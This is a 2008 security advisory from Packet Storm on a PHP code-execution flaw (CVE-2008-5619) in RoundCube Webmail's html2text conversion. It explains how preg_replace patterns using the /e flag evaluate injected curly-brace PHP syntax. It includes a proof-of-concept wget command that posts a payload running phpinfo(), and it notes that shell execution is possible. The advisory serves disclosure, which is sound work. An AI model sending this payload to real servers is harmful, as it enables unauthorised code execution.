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packetstormJacobo Avariento GimenoPACKETSTORM:73360
HistoryDec 30, 2008 - 12:00 a.m.

RoundCube Webmail 0.2-3 Beta Code Execution

2008-12-3000:00:00
Jacobo Avariento Gimeno
packetstormsecurity.com
28

0.886 High

EPSS

Percentile

98.4%

`  
Public Release Date of POC: 2008-12-22  
Author: Jacobo Avariento Gimeno (Sofistic)  
CVE id: CVE-2008-5619  
Bugtraq id: 32799  
Severity: Critical  
Vulnerability reported by: RealMurphy  
  
  
Intro  
----  
Roundcube Webmail is a browser-based IMAP client that uses  
"chuggnutt.com HTML to Plain Text Conversion" library to convert  
HTML text to plain text, this library uses the preg_replace PHP  
function in an insecure manner.  
  
Vulnerable versions:  
Round Cube RoundCube Webmail 0.2-3 beta  
Round Cube RoundCube Webmail 0.2-1 alpha (tested)  
  
  
Analysis of the vulnerable code  
----  
The script bin/html2text.php creates an instance of the class html2text  
with the given POST data, the problem arises in the file  
program/lib/html2text.php in function _convert() on line 381:  
  
// Run our defined search-and-replace  
$text = preg_replace($this->search, $this->replace, $text);  
  
Some patterns in $this->search allow interpret PHP code using the "e"  
flag, i.e.:  
'/<a [^>]*href=("|\')([^"\']+)\1[^>]*>(.+?)<\/a>/ie', // <a href="">  
'/<b[^>]*>(.+?)<\/b>/ie', // <b>  
'/<th[^>]*>(.+?)<\/th>/ie', // <th> and </th>  
  
In concrete those would be replaced by:  
'$this->_build_link_list("\\2", "\\3")', // <a href="">  
'strtoupper("\\1")', // <b>  
"strtoupper(\"\t\t\\1\n\")", // <th> and </th>  
  
Now using PHP complex (curly) syntax we can take advantage of this to  
interpret arbitrary PHP code, evaluating PHP code embedded inside  
strings.  
  
  
Proof of Concept  
----  
As this vulnerability was discovered in-the-wild:  
http://trac.roundcube.net/ticket/1485618 was quite sure that would be  
exploitable, using PHP curly we can execute phpinfo():  
  
wget -q --header="Content-Type: ''" \  
-O - --post-data='<b>{${phpinfo()}}</b>' \  
--no-check-certificate \  
http://127.0.0.1/roundcubemail-0.2-alpha/bin/html2text.php  
  
Using PHP curly syntax plus some tricks to bypass PHP magic_quotes_gpc  
to avoid using single or double quotes the arbitrary shell command  
execution is fully feasible. As this vulnerability was discovered last  
week no more details will be published yet, more info will be available  
at http://sofistic.net.  
  
  
  
--   
Jacobo Avariento Gimeno  
IT Security Department @ Sofistic  
Your security, our concern!  
http://sofistic.net  
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